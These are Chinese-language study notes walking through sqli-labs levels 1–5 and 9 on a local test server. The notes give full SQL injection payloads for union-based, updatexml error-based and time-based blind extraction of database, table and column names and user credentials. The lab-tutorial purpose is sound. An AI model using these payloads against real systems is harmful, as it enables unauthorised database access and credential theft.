sqli通关笔记(1-4,5,9)

一、Less-1

http://127.0.0.1/sqli/Less-1/?id=1

根据在URL中输入对应内容,发现页面正常回显,说明该传参为get方式

1、首先判断注入类型

http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 --+

在URL中输入此段代码,发现页面正常回显,由此可以得出此关卡为字符型注入

(原理分析:我们可以通过查看页面源代码找到对应查询语句$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";该语句说明了SQL在查询时采用的传参方式,我们输入到URL上面的内容会拿去直接传给参数$id,当我们输入id=1 and 1=2时,会被放入,最终变为id='1 and 1=2',在SQL语句里面,这句话是可以正常执行的,虽然1=2是恒不成立,但是SQL是读取到id=1这个选项的只是会有一个警告信息,页面是可以正常回显内容的,根据这个原理我们能够得出这个sql注入是字符型的)

2、判断字符型注入的闭合方式

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 --+

由步骤1我们已经得出这一关是字符型注入,接下来我们就需要判断它的闭合方式,在第一步的URL基础上进行闭合符的添加,常见的闭合方式有' " ') ")等,我们一个一个试,原理依旧和第一步的原理差不多,当我们加入'闭合符时发现,页面无法正常显示,这是因为我们语句使用的是and语句且条件是恒不成立的,此时页面没有正常回显,说明语句已经闭合,所以闭合符是'

3、判断列数

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+

在确定注入类型和闭合方式以后,我们需要判断这个数据表的列数,通常我们使用order by 这个关键字,当我们使用order by 3时页面正常显示,但当我们使用order by 4时页面显示找不到第四列,说明我们目前实用的数据表里面只有三列。

(原理分析:order by判断列数是利用了SQL查询时的报错信息,在sql里面查询,查不到该列也是同样的报错,我们可以利用这个报错信息进行列数判断)

4、判断回显位置

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

判断完注入类型、闭合方式、列数后我们就需要明白这个页面的回显位置,寻找回显位置我们使用的是union联合查询的方式,因为我们前面已经找到列数为3,union查询的要求是前后查询目标的列数要保持一致,所以我们在使用union select时需要将使用三个列,此处我们使用select 1,2,3 来判断数据的回显位置,通过页面的相应我们能够观察到回显位置为第二列和第三列,那么我们就可以利用回显位置来获取信息,比如数据库名

可以直接获取到数据库的名字为security,接下里我们就利用这些基础信息来获取库表数据等信息

5、获取数据表名

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

获取表名我们依旧使用union联合查询,注意列数一定要为3否则union无法正常执行,我们在前面已经知道了数据库名为security,我们就可以利用数据库名来为查询添加限制条件。

(原理分析:语句中使用的group_concat的作用是将查询到的内容拼接显示,默认逗号分隔,同样我们也可以指定连接符,这里使用的知识还有数据库的基本结构,这里有一个数据库存储元数据-information_schema,这里面存储的是数据库名、表名、列的数据类型、访问权限等,此时我们只需要指定tables表内的table_name为我们刚刚查询出来的security就可以获得security库内的所有表名)

6、获取列名

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

information_schema库内有一个columns表,专门用来存储字段,可以利用这个表来获取我们需要的表内字段名,注意查询内容要换成columns内的column_name字段,并且同时约束为security库内的users表,我们就可以查询到users表内有id username password三个字段

7、获取表内数据

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'~',username,'~',password),3 from users --+

当我们拿到数据库数据表的内容后我们就可以使用group_concat函数将表内的数据拼接显示出来

二、Less-2

根据前面的步骤一步一步进行

由此可得第二关是数字型注入,其余都和第一关一样,只需要将闭合符号去掉即可

三、Less-3

根据页面显示可以判断出第三关为字符型注入,接下里我们判断闭合方式

依旧尝试不同的闭合符,我们通过报错发现闭合符为'),验证闭合符正确,接下来的步骤和之前一样

四、Less-4

根据页面回显内容可以得出这一关是字符型注入,此时我们去判断它 的闭合方式

尝试常见的几种闭合符,判断出闭合符是"),接下里就和前几关一样

五、Less-5

1、判断注入类型

根据页面显示内容,我们可以得出这一关依旧是字符型注入,但是在显示上面不同,依旧先判断闭合方式。

2、判断闭合方式

尝试发现闭合方式为',我们按照常规方式,接下来判断列数

3、判断列数

此时能判断出来列数为3,但是要注意页面显示方式不同,它不会再显示数据内容,只会显示you are in 和报错信息,判断这一关是布尔盲注,我们需要利用页面的报错信息来获取我们需要的内容 。

4、获取数据库名

接下来我们就需要使用到一个函数updatexml() ,这个函数的作用是查找并替换xml⽂档中符合条件的节点的值,语法格式:updatexml(文档对象名称,字符串位置,即将替换成的具体内容)

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+

5、查询数据表名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1)--+

6、获取列名

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),'~'),1)--+

7、获取表内数据

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml('~',concat('~',(select group_concat(id,'~',username,'~',password) from users),'~'),'~')--+

六、Less-9

通过页面显示的内容,我们发现不管我们输入什么东西页面都显示同一个内容,这说明不是像前面四关那么普通的注入,同时也不是第五关的布尔盲注,我们无法通过页面显示的内容获取所需要的信息,此时可以考虑时间盲注

http://127.0.0.1/sqli/Less-9/?id=1' and if(1=1,sleep(5),1)--+ --+

这句话的意思是,先判断第一个节点内的内容,若为真则执行第二个节点,若为假则执行第三个节点,1=1这是恒成立语句,所以应该执行第二个节点的内容即休眠五秒,观察页面左上角页面确实休眠五秒,那么我们就可以利用这个原理去查找判断我们所需要的信息

1、判断数据库长度

http://127.0.0.1/sqli/Less-9/?id=1'and if(length((select database()))>9,sleep(5),1)--+

按照这个语句不断试探数据库的字符长度,可以使用><=,最终得出数据库名的字符长度为8

2、获取数据库名

http://127.0.0.1/sqli/Less-9/?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

根据这个语句不断试探,最终得出数据库名为security

3、获取数据表名

http://127.0.0.1/sqli/Less-9/?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

这个语句用于判断表名长度

http://127.0.0.1/sqli/Less-9/?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)

这个语句用于判断表名

一个一个试,获取数据表名

4、获取列名

http://127.0.0.1/sqli/Less-9/?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>25,sleep(5),1)--+

此语句用来判断列名长度

http://127.0.0.1/sqli/Less-9/?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

此语句用来判断列名

依旧是通过不断缩小范围,不断尝试,获取列名

5、获取内容

http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

通过不断尝试获取内容